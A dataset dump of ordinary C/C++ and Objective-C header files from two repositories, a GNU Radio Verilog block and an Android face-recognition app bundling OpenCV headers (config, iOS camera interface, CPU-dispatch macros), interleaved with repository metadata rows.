/* -*- c++ -*- */ /* * Copyright 2019 <+YOU OR YOUR COMPANY+>. * * This is free software; you can redistribute it and/or modify * it under the terms of the GNU General Public License as published by * the Free Software Foundation; either version 3, or (at your option) * any later version. * * This software is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * GNU General Public License for more details. * * You should have received a copy of the GNU General Public License * along with this software; see the file COPYING. If not, write to * the Free Software Foundation, Inc., 51 Franklin Street, * Boston, MA 02110-1301, USA. */ #ifndef INCLUDED_VERILOG_VERILOG_AXI_FF_H #define INCLUDED_VERILOG_VERILOG_AXI_FF_H #include <verilog/api.h> #include <gnuradio/block.h> namespace gr { namespace verilog { /*! * \brief <+description of block+> * \ingroup verilog * */ class VERILOG_API verilog_axi_ff : virtual public gr::block { public: typedef boost::shared_ptr<verilog_axi_ff> sptr; /*! * \brief Return a shared_ptr to a new instance of verilog::verilog_axi_ff. * * To avoid accidental use of raw pointers, verilog::verilog_axi_ff's * constructor is in a private implementation * class. verilog::verilog_axi_ff::make is the public interface for * creating new instances. */ static sptr make(const char *filename, bool overwrite, float IO_ratio, const char *verilator_options, unsigned int module_flag, unsigned int skip_output_items); }; } // namespace verilog } // namespace gr #endif /* INCLUDED_VERILOG_VERILOG_AXI_FF_H */
1,847
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B0WEN-HU/gr-verilog
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false
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false
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1,531,292
gr_verilog_iotype.h
B0WEN-HU_gr-verilog/include/verilog/gr_verilog_iotype.h
/* -*- c++ -*- */ /* * Copyright 2019 <+YOU OR YOUR COMPANY+>. * * This is free software; you can redistribute it and/or modify * it under the terms of the GNU General Public License as published by * the Free Software Foundation; either version 3, or (at your option) * any later version. * * This software is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * GNU General Public License for more details. * * You should have received a copy of the GNU General Public License * along with this software; see the file COPYING. If not, write to * the Free Software Foundation, Inc., 51 Franklin Street, * Boston, MA 02110-1301, USA. */ #ifndef INCLUDED_VERILOG_IOTYPE_H #define INCLUDED_VERILOG_IOTYPE_H namespace gr { namespace verilog { } // namespace verilog } // namespace gr #endif /* INCLUDED_VERILOG_IOTYPE_H */
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B0WEN-HU/gr-verilog
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9/20/2024, 10:43:29 PM (Europe/Amsterdam)
false
false
false
false
false
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1,531,294
DetectionBasedTracker_jni.h
Monologuethl_Android_Facenet_Recognition/app/src/main/cpp/DetectionBasedTracker_jni.h
/* DO NOT EDIT THIS FILE - it is machine generated */ #include <jni.h> /* Header for class org_opencv_samples_fd_DetectionBasedTracker */ #ifndef _Included_org_opencv_samples_fd_DetectionBasedTracker #define _Included_org_opencv_samples_fd_DetectionBasedTracker #ifdef __cplusplus extern "C" { #endif /* * Class: org_opencv_samples_fd_DetectionBasedTracker * Method: nativeCreateObject * Signature: (Ljava/lang/String;F)J */ JNIEXPORT jlong JNICALL Java_com_jiangdg_opencv4android_natives_DetectionBasedTracker_nativeCreateObject (JNIEnv *, jclass, jstring,jstring,jint); /* * Class: org_opencv_samples_fd_DetectionBasedTracker * Method: nativeDestroyObject * Signature: (J)V */ JNIEXPORT void JNICALL Java_com_jiangdg_opencv4android_natives_DetectionBasedTracker_nativeDestroyObject (JNIEnv *, jclass, jlong); /* * Class: org_opencv_samples_fd_DetectionBasedTracker * Method: nativeStart * Signature: (J)V */ JNIEXPORT void JNICALL Java_com_jiangdg_opencv4android_natives_DetectionBasedTracker_nativeStart (JNIEnv *, jclass, jlong); /* * Class: org_opencv_samples_fd_DetectionBasedTracker * Method: nativeStop * Signature: (J)V */ JNIEXPORT void JNICALL Java_com_jiangdg_opencv4android_natives_DetectionBasedTracker_nativeStop (JNIEnv *, jclass, jlong); /* * Class: org_opencv_samples_fd_DetectionBasedTracker * Method: nativeSetFaceSize * Signature: (JI)V */ JNIEXPORT void JNICALL Java_com_jiangdg_opencv4android_natives_DetectionBasedTracker_nativeSetFaceSize (JNIEnv *, jclass, jlong, jint); /* * Class: org_opencv_samples_fd_DetectionBasedTracker * Method: nativeDetect * Signature: (JJJ)V */ JNIEXPORT void JNICALL Java_com_jiangdg_opencv4android_natives_DetectionBasedTracker_nativeDetect (JNIEnv *, jclass, jlong, jlong, jlong); JNIEXPORT void JNICALL Java_com_jiangdg_opencv4android_natives_DetectionBasedTracker_nativeDetectEyeBlink (JNIEnv *, jclass); JNIEXPORT void JNICALL Java_com_jiangdg_opencv4android_natives_DetectionBasedTracker_nativeRgba (JNIEnv * , jclass ,jlong ,jint ,jint); #ifdef __cplusplus } #endif #endif
2,134
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.h
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34.810345
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Monologuethl/Android_Facenet_Recognition
36
21
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9/20/2024, 10:43:29 PM (Europe/Amsterdam)
false
false
false
false
false
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1,531,303
cvconfig.h
Monologuethl_Android_Facenet_Recognition/app/src/main/cpp/include/opencv2/cvconfig.h
#ifndef OPENCV_CVCONFIG_H_INCLUDED #define OPENCV_CVCONFIG_H_INCLUDED /* OpenCV compiled as static or dynamic libs */ /* #undef BUILD_SHARED_LIBS */ /* OpenCV intrinsics optimized code */ #define CV_ENABLE_INTRINSICS /* OpenCV additional optimized code */ /* #undef CV_DISABLE_OPTIMIZATION */ /* Compile for 'real' NVIDIA GPU architectures */ #define CUDA_ARCH_BIN "" /* Create PTX or BIN for 1.0 compute capability */ /* #undef CUDA_ARCH_BIN_OR_PTX_10 */ /* NVIDIA GPU features are used */ #define CUDA_ARCH_FEATURES "" /* Compile for 'virtual' NVIDIA PTX architectures */ #define CUDA_ARCH_PTX "" /* AVFoundation video libraries */ /* #undef HAVE_AVFOUNDATION */ /* V4L capturing support */ /* #undef HAVE_CAMV4L */ /* V4L2 capturing support */ /* #undef HAVE_CAMV4L2 */ /* Carbon windowing environment */ /* #undef HAVE_CARBON */ /* AMD's Basic Linear Algebra Subprograms Library*/ /* #undef HAVE_CLAMDBLAS */ /* AMD's OpenCL Fast Fourier Transform Library*/ /* #undef HAVE_CLAMDFFT */ /* Clp support */ /* #undef HAVE_CLP */ /* Cocoa API */ /* #undef HAVE_COCOA */ /* C= */ /* #undef HAVE_CSTRIPES */ /* NVidia Cuda Basic Linear Algebra Subprograms (BLAS) API*/ /* #undef HAVE_CUBLAS */ /* NVidia Cuda Runtime API*/ /* #undef HAVE_CUDA */ /* NVidia Cuda Fast Fourier Transform (FFT) API*/ /* #undef HAVE_CUFFT */ /* IEEE1394 capturing support */ /* #undef HAVE_DC1394 */ /* IEEE1394 capturing support - libdc1394 v2.x */ /* #undef HAVE_DC1394_2 */ /* DirectX */ /* #undef HAVE_DIRECTX */ /* #undef HAVE_DIRECTX_NV12 */ /* #undef HAVE_D3D11 */ /* #undef HAVE_D3D10 */ /* #undef HAVE_D3D9 */ /* DirectShow Video Capture library */ /* #undef HAVE_DSHOW */ /* Eigen Matrix & Linear Algebra Library */ /* #undef HAVE_EIGEN */ /* FFMpeg video library */ /* #undef HAVE_FFMPEG */ /* Geospatial Data Abstraction Library */ /* #undef HAVE_GDAL */ /* GStreamer multimedia framework */ /* #undef HAVE_GSTREAMER */ /* GTK+ 2.0 Thread support */ /* #undef HAVE_GTHREAD */ /* GTK+ 2.x toolkit */ /* #undef HAVE_GTK */ /* Halide support */ /* #undef HAVE_HALIDE */ /* Define to 1 if you have the <inttypes.h> header file. */ #define HAVE_INTTYPES_H 1 /* Intel Perceptual Computing SDK library */ /* #undef HAVE_INTELPERC */ /* Intel Integrated Performance Primitives */ /* #undef HAVE_IPP */ /* #undef HAVE_IPP_ICV */ /* #undef HAVE_IPP_IW */ /* Intel IPP Async */ /* #undef HAVE_IPP_A */ /* JPEG-2000 codec */ #define HAVE_JASPER /* IJG JPEG codec */ #define HAVE_JPEG /* libpng/png.h needs to be included */ /* #undef HAVE_LIBPNG_PNG_H */ /* GDCM DICOM codec */ /* #undef HAVE_GDCM */ /* V4L/V4L2 capturing support via libv4l */ /* #undef HAVE_LIBV4L */ /* Microsoft Media Foundation Capture library */ /* #undef HAVE_MSMF */ /* NVidia Video Decoding API*/ /* #undef HAVE_NVCUVID */ /* NVidia Video Encoding API*/ /* #undef HAVE_NVCUVENC */ /* OpenCL Support */ /* #undef HAVE_OPENCL */ /* #undef HAVE_OPENCL_STATIC */ /* #undef HAVE_OPENCL_SVM */ /* OpenEXR codec */ #define HAVE_OPENEXR /* OpenGL support*/ /* #undef HAVE_OPENGL */ /* OpenNI library */ /* #undef HAVE_OPENNI */ /* OpenNI library */ /* #undef HAVE_OPENNI2 */ /* PNG codec */ #define HAVE_PNG /* Posix threads (pthreads) */ #define HAVE_PTHREAD /* parallel_for with pthreads */ #define HAVE_PTHREADS_PF /* Qt support */ /* #undef HAVE_QT */ /* Qt OpenGL support */ /* #undef HAVE_QT_OPENGL */ /* QuickTime video libraries */ /* #undef HAVE_QUICKTIME */ /* QTKit video libraries */ /* #undef HAVE_QTKIT */ /* Intel Threading Building Blocks */ #define HAVE_TBB /* TIFF codec */ #define HAVE_TIFF /* Unicap video capture library */ /* #undef HAVE_UNICAP */ /* Video for Windows support */ /* #undef HAVE_VFW */ /* V4L2 capturing support in videoio.h */ /* #undef HAVE_VIDEOIO */ /* Win32 UI */ /* #undef HAVE_WIN32UI */ /* XIMEA camera support */ /* #undef HAVE_XIMEA */ /* Xine video library */ /* #undef HAVE_XINE */ /* Define if your processor stores words with the most significant byte first (like Motorola and SPARC, unlike Intel and VAX). */ /* #undef WORDS_BIGENDIAN */ /* gPhoto2 library */ /* #undef HAVE_GPHOTO2 */ /* VA library (libva) */ /* #undef HAVE_VA */ /* Intel VA-API/OpenCL */ /* #undef HAVE_VA_INTEL */ /* Intel Media SDK */ /* #undef HAVE_MFX */ /* Lapack */ /* #undef HAVE_LAPACK */ /* Library was compiled with functions instrumentation */ /* #undef ENABLE_INSTRUMENTATION */ /* OpenVX */ /* #undef HAVE_OPENVX */ #if defined(HAVE_XINE) || \ defined(HAVE_GSTREAMER) || \ defined(HAVE_QUICKTIME) || \ defined(HAVE_QTKIT) || \ defined(HAVE_AVFOUNDATION) || \ /*defined(HAVE_OPENNI) || too specialized */ \ defined(HAVE_FFMPEG) || \ defined(HAVE_MSMF) #define HAVE_VIDEO_INPUT #endif #if /*defined(HAVE_XINE) || */\ defined(HAVE_GSTREAMER) || \ defined(HAVE_QUICKTIME) || \ defined(HAVE_QTKIT) || \ defined(HAVE_AVFOUNDATION) || \ defined(HAVE_FFMPEG) || \ defined(HAVE_MSMF) #define HAVE_VIDEO_OUTPUT #endif /* OpenCV trace utilities */ #define OPENCV_TRACE #endif // OPENCV_CVCONFIG_H_INCLUDED
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36
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9/20/2024, 10:43:29 PM (Europe/Amsterdam)
false
true
false
false
false
false
false
false
1,531,313
cap_ios.h
Monologuethl_Android_Facenet_Recognition/app/src/main/cpp/include/opencv2/videoio/cap_ios.h
/* For iOS video I/O * by Eduard Feicho on 29/07/12 * Copyright 2012. All rights reserved. * * Redistribution and use in source and binary forms, with or without * modification, are permitted provided that the following conditions are met: * * 1. Redistributions of source code must retain the above copyright notice, * this list of conditions and the following disclaimer. * 2. Redistributions in binary form must reproduce the above copyright notice, * this list of conditions and the following disclaimer in the documentation * and/or other materials provided with the distribution. * 3. The name of the author may not be used to endorse or promote products * derived from this software without specific prior written permission. * * THIS SOFTWARE IS PROVIDED BY THE AUTHOR "AS IS" AND ANY EXPRESS OR IMPLIED * WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF * MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO * EVENT SHALL THE AUTHOR BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, * SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, * PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; * OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, * WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR * OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF * ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. * */ #import <UIKit/UIKit.h> #import <Accelerate/Accelerate.h> #import <AVFoundation/AVFoundation.h> #import <ImageIO/ImageIO.h> #include "opencv2/core.hpp" //! @addtogroup videoio_ios //! @{ /////////////////////////////////////// CvAbstractCamera ///////////////////////////////////// @class CvAbstractCamera; CV_EXPORTS @interface CvAbstractCamera : NSObject { UIDeviceOrientation currentDeviceOrientation; BOOL cameraAvailable; } @property (nonatomic, strong) AVCaptureSession* captureSession; @property (nonatomic, strong) AVCaptureConnection* videoCaptureConnection; @property (nonatomic, readonly) BOOL running; @property (nonatomic, readonly) BOOL captureSessionLoaded; @property (nonatomic, assign) int defaultFPS; @property (nonatomic, readonly) AVCaptureVideoPreviewLayer *captureVideoPreviewLayer; @property (nonatomic, assign) AVCaptureDevicePosition defaultAVCaptureDevicePosition; @property (nonatomic, assign) AVCaptureVideoOrientation defaultAVCaptureVideoOrientation; @property (nonatomic, assign) BOOL useAVCaptureVideoPreviewLayer; @property (nonatomic, strong) NSString *const defaultAVCaptureSessionPreset; @property (nonatomic, assign) int imageWidth; @property (nonatomic, assign) int imageHeight; @property (nonatomic, strong) UIView* parentView; - (void)start; - (void)stop; - (void)switchCameras; - (id)initWithParentView:(UIView*)parent; - (void)createCaptureOutput; - (void)createVideoPreviewLayer; - (void)updateOrientation; - (void)lockFocus; - (void)unlockFocus; - (void)lockExposure; - (void)unlockExposure; - (void)lockBalance; - (void)unlockBalance; @end ///////////////////////////////// CvVideoCamera /////////////////////////////////////////// @class CvVideoCamera; CV_EXPORTS @protocol CvVideoCameraDelegate <NSObject> #ifdef __cplusplus // delegate method for processing image frames - (void)processImage:(cv::Mat&)image; #endif @end CV_EXPORTS @interface CvVideoCamera : CvAbstractCamera<AVCaptureVideoDataOutputSampleBufferDelegate> { AVCaptureVideoDataOutput *videoDataOutput; dispatch_queue_t videoDataOutputQueue; CALayer *customPreviewLayer; CMTime lastSampleTime; } @property (nonatomic, weak) id<CvVideoCameraDelegate> delegate; @property (nonatomic, assign) BOOL grayscaleMode; @property (nonatomic, assign) BOOL recordVideo; @property (nonatomic, assign) BOOL rotateVideo; @property (nonatomic, strong) AVAssetWriterInput* recordAssetWriterInput; @property (nonatomic, strong) AVAssetWriterInputPixelBufferAdaptor* recordPixelBufferAdaptor; @property (nonatomic, strong) AVAssetWriter* recordAssetWriter; - (void)adjustLayoutToInterfaceOrientation:(UIInterfaceOrientation)interfaceOrientation; - (void)layoutPreviewLayer; - (void)saveVideo; - (NSURL *)videoFileURL; - (NSString *)videoFileString; @end ///////////////////////////////// CvPhotoCamera /////////////////////////////////////////// @class CvPhotoCamera; CV_EXPORTS @protocol CvPhotoCameraDelegate <NSObject> - (void)photoCamera:(CvPhotoCamera*)photoCamera capturedImage:(UIImage *)image; - (void)photoCameraCancel:(CvPhotoCamera*)photoCamera; @end CV_EXPORTS @interface CvPhotoCamera : CvAbstractCamera { AVCaptureStillImageOutput *stillImageOutput; } @property (nonatomic, weak) id<CvPhotoCameraDelegate> delegate; - (void)takePicture; @end //! @} videoio_ios
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false
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false
false
false
false
false
false
1,531,324
cv_cpu_helper.h
Monologuethl_Android_Facenet_Recognition/app/src/main/cpp/include/opencv2/core/cv_cpu_helper.h
// AUTOGENERATED, DO NOT EDIT #if !defined CV_DISABLE_OPTIMIZATION && defined CV_ENABLE_INTRINSICS && defined CV_CPU_COMPILE_SSE # define CV_TRY_SSE 1 # define CV_CPU_HAS_SUPPORT_SSE 1 # define CV_CPU_CALL_SSE(fn, args) return (opt_SSE::fn args) #elif !defined CV_DISABLE_OPTIMIZATION && defined CV_ENABLE_INTRINSICS && defined CV_CPU_DISPATCH_COMPILE_SSE # define CV_TRY_SSE 1 # define CV_CPU_HAS_SUPPORT_SSE (cv::checkHardwareSupport(CV_CPU_SSE)) # define CV_CPU_CALL_SSE(fn, args) if (CV_CPU_HAS_SUPPORT_SSE) return (opt_SSE::fn args) #else # define CV_TRY_SSE 0 # define CV_CPU_HAS_SUPPORT_SSE 0 # define CV_CPU_CALL_SSE(fn, args) #endif #define __CV_CPU_DISPATCH_CHAIN_SSE(fn, args, mode, ...) CV_CPU_CALL_SSE(fn, args); __CV_EXPAND(__CV_CPU_DISPATCH_CHAIN_ ## mode(fn, args, __VA_ARGS__)) #if !defined CV_DISABLE_OPTIMIZATION && defined CV_ENABLE_INTRINSICS && defined CV_CPU_COMPILE_SSE2 # define CV_TRY_SSE2 1 # define CV_CPU_HAS_SUPPORT_SSE2 1 # define CV_CPU_CALL_SSE2(fn, args) return (opt_SSE2::fn args) #elif !defined CV_DISABLE_OPTIMIZATION && defined CV_ENABLE_INTRINSICS && defined CV_CPU_DISPATCH_COMPILE_SSE2 # define CV_TRY_SSE2 1 # define CV_CPU_HAS_SUPPORT_SSE2 (cv::checkHardwareSupport(CV_CPU_SSE2)) # define CV_CPU_CALL_SSE2(fn, args) if (CV_CPU_HAS_SUPPORT_SSE2) return (opt_SSE2::fn args) #else # define CV_TRY_SSE2 0 # define CV_CPU_HAS_SUPPORT_SSE2 0 # define CV_CPU_CALL_SSE2(fn, args) #endif #define __CV_CPU_DISPATCH_CHAIN_SSE2(fn, args, mode, ...) CV_CPU_CALL_SSE2(fn, args); __CV_EXPAND(__CV_CPU_DISPATCH_CHAIN_ ## mode(fn, args, __VA_ARGS__)) #if !defined CV_DISABLE_OPTIMIZATION && defined CV_ENABLE_INTRINSICS && defined CV_CPU_COMPILE_SSE3 # define CV_TRY_SSE3 1 # define CV_CPU_HAS_SUPPORT_SSE3 1 # define CV_CPU_CALL_SSE3(fn, args) return (opt_SSE3::fn args) #elif !defined CV_DISABLE_OPTIMIZATION && defined CV_ENABLE_INTRINSICS && defined CV_CPU_DISPATCH_COMPILE_SSE3 # define CV_TRY_SSE3 1 # define CV_CPU_HAS_SUPPORT_SSE3 (cv::checkHardwareSupport(CV_CPU_SSE3)) # define CV_CPU_CALL_SSE3(fn, args) if (CV_CPU_HAS_SUPPORT_SSE3) return (opt_SSE3::fn args) #else # define CV_TRY_SSE3 0 # define CV_CPU_HAS_SUPPORT_SSE3 0 # define CV_CPU_CALL_SSE3(fn, args) #endif #define __CV_CPU_DISPATCH_CHAIN_SSE3(fn, args, mode, ...) CV_CPU_CALL_SSE3(fn, args); __CV_EXPAND(__CV_CPU_DISPATCH_CHAIN_ ## mode(fn, args, __VA_ARGS__)) #if !defined CV_DISABLE_OPTIMIZATION && defined CV_ENABLE_INTRINSICS && defined CV_CPU_COMPILE_SSSE3 # define CV_TRY_SSSE3 1 # define CV_CPU_HAS_SUPPORT_SSSE3 1 # define CV_CPU_CALL_SSSE3(fn, args) return (opt_SSSE3::fn args) #elif !defined CV_DISABLE_OPTIMIZATION && defined CV_ENABLE_INTRINSICS && defined CV_CPU_DISPATCH_COMPILE_SSSE3 # define CV_TRY_SSSE3 1 # define CV_CPU_HAS_SUPPORT_SSSE3 (cv::checkHardwareSupport(CV_CPU_SSSE3)) # define CV_CPU_CALL_SSSE3(fn, args) if (CV_CPU_HAS_SUPPORT_SSSE3) return (opt_SSSE3::fn args) #else # define CV_TRY_SSSE3 0 # define CV_CPU_HAS_SUPPORT_SSSE3 0 # define CV_CPU_CALL_SSSE3(fn, args) #endif #define __CV_CPU_DISPATCH_CHAIN_SSSE3(fn, args, mode, ...) CV_CPU_CALL_SSSE3(fn, args); __CV_EXPAND(__CV_CPU_DISPATCH_CHAIN_ ## mode(fn, args, __VA_ARGS__)) #if !defined CV_DISABLE_OPTIMIZATION && defined CV_ENABLE_INTRINSICS && defined CV_CPU_COMPILE_SSE4_1 # define CV_TRY_SSE4_1 1 # define CV_CPU_HAS_SUPPORT_SSE4_1 1 # define CV_CPU_CALL_SSE4_1(fn, args) return (opt_SSE4_1::fn args) #elif !defined CV_DISABLE_OPTIMIZATION && defined CV_ENABLE_INTRINSICS && defined CV_CPU_DISPATCH_COMPILE_SSE4_1 # define CV_TRY_SSE4_1 1 # define CV_CPU_HAS_SUPPORT_SSE4_1 (cv::checkHardwareSupport(CV_CPU_SSE4_1)) # define CV_CPU_CALL_SSE4_1(fn, args) if (CV_CPU_HAS_SUPPORT_SSE4_1) return (opt_SSE4_1::fn args) #else # define CV_TRY_SSE4_1 0 # define CV_CPU_HAS_SUPPORT_SSE4_1 0 # define CV_CPU_CALL_SSE4_1(fn, args) #endif #define __CV_CPU_DISPATCH_CHAIN_SSE4_1(fn, args, mode, ...) CV_CPU_CALL_SSE4_1(fn, args); __CV_EXPAND(__CV_CPU_DISPATCH_CHAIN_ ## mode(fn, args, __VA_ARGS__)) #if !defined CV_DISABLE_OPTIMIZATION && defined CV_ENABLE_INTRINSICS && defined CV_CPU_COMPILE_SSE4_2 # define CV_TRY_SSE4_2 1 # define CV_CPU_HAS_SUPPORT_SSE4_2 1 # define CV_CPU_CALL_SSE4_2(fn, args) return (opt_SSE4_2::fn args) #elif !defined CV_DISABLE_OPTIMIZATION && defined CV_ENABLE_INTRINSICS && defined CV_CPU_DISPATCH_COMPILE_SSE4_2 # define CV_TRY_SSE4_2 1 # define CV_CPU_HAS_SUPPORT_SSE4_2 (cv::checkHardwareSupport(CV_CPU_SSE4_2)) # define CV_CPU_CALL_SSE4_2(fn, args) if (CV_CPU_HAS_SUPPORT_SSE4_2) return (opt_SSE4_2::fn args) #else # define CV_TRY_SSE4_2 0 # define CV_CPU_HAS_SUPPORT_SSE4_2 0 # define CV_CPU_CALL_SSE4_2(fn, args) #endif #define __CV_CPU_DISPATCH_CHAIN_SSE4_2(fn, args, mode, ...) CV_CPU_CALL_SSE4_2(fn, args); __CV_EXPAND(__CV_CPU_DISPATCH_CHAIN_ ## mode(fn, args, __VA_ARGS__)) #if !defined CV_DISABLE_OPTIMIZATION && defined CV_ENABLE_INTRINSICS && defined CV_CPU_COMPILE_POPCNT # define CV_TRY_POPCNT 1 # define CV_CPU_HAS_SUPPORT_POPCNT 1 # define CV_CPU_CALL_POPCNT(fn, args) return (opt_POPCNT::fn args) #elif !defined CV_DISABLE_OPTIMIZATION && defined CV_ENABLE_INTRINSICS && defined CV_CPU_DISPATCH_COMPILE_POPCNT # define CV_TRY_POPCNT 1 # define CV_CPU_HAS_SUPPORT_POPCNT (cv::checkHardwareSupport(CV_CPU_POPCNT)) # define CV_CPU_CALL_POPCNT(fn, args) if (CV_CPU_HAS_SUPPORT_POPCNT) return (opt_POPCNT::fn args) #else # define CV_TRY_POPCNT 0 # define CV_CPU_HAS_SUPPORT_POPCNT 0 # define CV_CPU_CALL_POPCNT(fn, args) #endif #define __CV_CPU_DISPATCH_CHAIN_POPCNT(fn, args, mode, ...) CV_CPU_CALL_POPCNT(fn, args); __CV_EXPAND(__CV_CPU_DISPATCH_CHAIN_ ## mode(fn, args, __VA_ARGS__)) #if !defined CV_DISABLE_OPTIMIZATION && defined CV_ENABLE_INTRINSICS && defined CV_CPU_COMPILE_AVX # define CV_TRY_AVX 1 # define CV_CPU_HAS_SUPPORT_AVX 1 # define CV_CPU_CALL_AVX(fn, args) return (opt_AVX::fn args) #elif !defined CV_DISABLE_OPTIMIZATION && defined CV_ENABLE_INTRINSICS && defined CV_CPU_DISPATCH_COMPILE_AVX # define CV_TRY_AVX 1 # define CV_CPU_HAS_SUPPORT_AVX (cv::checkHardwareSupport(CV_CPU_AVX)) # define CV_CPU_CALL_AVX(fn, args) if (CV_CPU_HAS_SUPPORT_AVX) return (opt_AVX::fn args) #else # define CV_TRY_AVX 0 # define CV_CPU_HAS_SUPPORT_AVX 0 # define CV_CPU_CALL_AVX(fn, args) #endif #define __CV_CPU_DISPATCH_CHAIN_AVX(fn, args, mode, ...) CV_CPU_CALL_AVX(fn, args); __CV_EXPAND(__CV_CPU_DISPATCH_CHAIN_ ## mode(fn, args, __VA_ARGS__)) #if !defined CV_DISABLE_OPTIMIZATION && defined CV_ENABLE_INTRINSICS && defined CV_CPU_COMPILE_FP16 # define CV_TRY_FP16 1 # define CV_CPU_HAS_SUPPORT_FP16 1 # define CV_CPU_CALL_FP16(fn, args) return (opt_FP16::fn args) #elif !defined CV_DISABLE_OPTIMIZATION && defined CV_ENABLE_INTRINSICS && defined CV_CPU_DISPATCH_COMPILE_FP16 # define CV_TRY_FP16 1 # define CV_CPU_HAS_SUPPORT_FP16 (cv::checkHardwareSupport(CV_CPU_FP16)) # define CV_CPU_CALL_FP16(fn, args) if (CV_CPU_HAS_SUPPORT_FP16) return (opt_FP16::fn args) #else # define CV_TRY_FP16 0 # define CV_CPU_HAS_SUPPORT_FP16 0 # define CV_CPU_CALL_FP16(fn, args) #endif #define __CV_CPU_DISPATCH_CHAIN_FP16(fn, args, mode, ...) CV_CPU_CALL_FP16(fn, args); __CV_EXPAND(__CV_CPU_DISPATCH_CHAIN_ ## mode(fn, args, __VA_ARGS__)) #if !defined CV_DISABLE_OPTIMIZATION && defined CV_ENABLE_INTRINSICS && defined CV_CPU_COMPILE_AVX2 # define CV_TRY_AVX2 1 # define CV_CPU_HAS_SUPPORT_AVX2 1 # define CV_CPU_CALL_AVX2(fn, args) return (opt_AVX2::fn args) #elif !defined CV_DISABLE_OPTIMIZATION && defined CV_ENABLE_INTRINSICS && defined CV_CPU_DISPATCH_COMPILE_AVX2 # define CV_TRY_AVX2 1 # define CV_CPU_HAS_SUPPORT_AVX2 (cv::checkHardwareSupport(CV_CPU_AVX2)) # define CV_CPU_CALL_AVX2(fn, args) if (CV_CPU_HAS_SUPPORT_AVX2) return (opt_AVX2::fn args) #else # define CV_TRY_AVX2 0 # define CV_CPU_HAS_SUPPORT_AVX2 0 # define CV_CPU_CALL_AVX2(fn, args) #endif #define __CV_CPU_DISPATCH_CHAIN_AVX2(fn, args, mode, ...) CV_CPU_CALL_AVX2(fn, args); __CV_EXPAND(__CV_CPU_DISPATCH_CHAIN_ ## mode(fn, args, __VA_ARGS__)) #if !defined CV_DISABLE_OPTIMIZATION && defined CV_ENABLE_INTRINSICS && defined CV_CPU_COMPILE_FMA3 # define CV_TRY_FMA3 1 # define CV_CPU_HAS_SUPPORT_FMA3 1 # define CV_CPU_CALL_FMA3(fn, args) return (opt_FMA3::fn args) #elif !defined CV_DISABLE_OPTIMIZATION && defined CV_ENABLE_INTRINSICS && defined CV_CPU_DISPATCH_COMPILE_FMA3 # define CV_TRY_FMA3 1 # define CV_CPU_HAS_SUPPORT_FMA3 (cv::checkHardwareSupport(CV_CPU_FMA3)) # define CV_CPU_CALL_FMA3(fn, args) if (CV_CPU_HAS_SUPPORT_FMA3) return (opt_FMA3::fn args) #else # define CV_TRY_FMA3 0 # define CV_CPU_HAS_SUPPORT_FMA3 0 # define CV_CPU_CALL_FMA3(fn, args) #endif #define __CV_CPU_DISPATCH_CHAIN_FMA3(fn, args, mode, ...) CV_CPU_CALL_FMA3(fn, args); __CV_EXPAND(__CV_CPU_DISPATCH_CHAIN_ ## mode(fn, args, __VA_ARGS__)) #if !defined CV_DISABLE_OPTIMIZATION && defined CV_ENABLE_INTRINSICS && defined CV_CPU_COMPILE_NEON # define CV_TRY_NEON 1 # define CV_CPU_HAS_SUPPORT_NEON 1 # define CV_CPU_CALL_NEON(fn, args) return (opt_NEON::fn args) #elif !defined CV_DISABLE_OPTIMIZATION && defined CV_ENABLE_INTRINSICS && defined CV_CPU_DISPATCH_COMPILE_NEON # define CV_TRY_NEON 1 # define CV_CPU_HAS_SUPPORT_NEON (cv::checkHardwareSupport(CV_CPU_NEON)) # define CV_CPU_CALL_NEON(fn, args) if (CV_CPU_HAS_SUPPORT_NEON) return (opt_NEON::fn args) #else # define CV_TRY_NEON 0 # define CV_CPU_HAS_SUPPORT_NEON 0 # define CV_CPU_CALL_NEON(fn, args) #endif #define __CV_CPU_DISPATCH_CHAIN_NEON(fn, args, mode, ...) CV_CPU_CALL_NEON(fn, args); __CV_EXPAND(__CV_CPU_DISPATCH_CHAIN_ ## mode(fn, args, __VA_ARGS__)) #if !defined CV_DISABLE_OPTIMIZATION && defined CV_ENABLE_INTRINSICS && defined CV_CPU_COMPILE_VSX # define CV_TRY_VSX 1 # define CV_CPU_HAS_SUPPORT_VSX 1 # define CV_CPU_CALL_VSX(fn, args) return (opt_VSX::fn args) #elif !defined CV_DISABLE_OPTIMIZATION && defined CV_ENABLE_INTRINSICS && defined CV_CPU_DISPATCH_COMPILE_VSX # define CV_TRY_VSX 1 # define CV_CPU_HAS_SUPPORT_VSX (cv::checkHardwareSupport(CV_CPU_VSX)) # define CV_CPU_CALL_VSX(fn, args) if (CV_CPU_HAS_SUPPORT_VSX) return (opt_VSX::fn args) #else # define CV_TRY_VSX 0 # define CV_CPU_HAS_SUPPORT_VSX 0 # define CV_CPU_CALL_VSX(fn, args) #endif #define __CV_CPU_DISPATCH_CHAIN_VSX(fn, args, mode, ...) CV_CPU_CALL_VSX(fn, args); __CV_EXPAND(__CV_CPU_DISPATCH_CHAIN_ ## mode(fn, args, __VA_ARGS__)) #define CV_CPU_CALL_BASELINE(fn, args) return (cpu_baseline::fn args) #define __CV_CPU_DISPATCH_CHAIN_BASELINE(fn, args, mode, ...) CV_CPU_CALL_BASELINE(fn, args) /* last in sequence */
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Monologuethl/Android_Facenet_Recognition
36
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9/20/2024, 10:43:29 PM (Europe/Amsterdam)
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1,531,326
cv_cpu_dispatch.h
Monologuethl_Android_Facenet_Recognition/app/src/main/cpp/include/opencv2/core/cv_cpu_dispatch.h
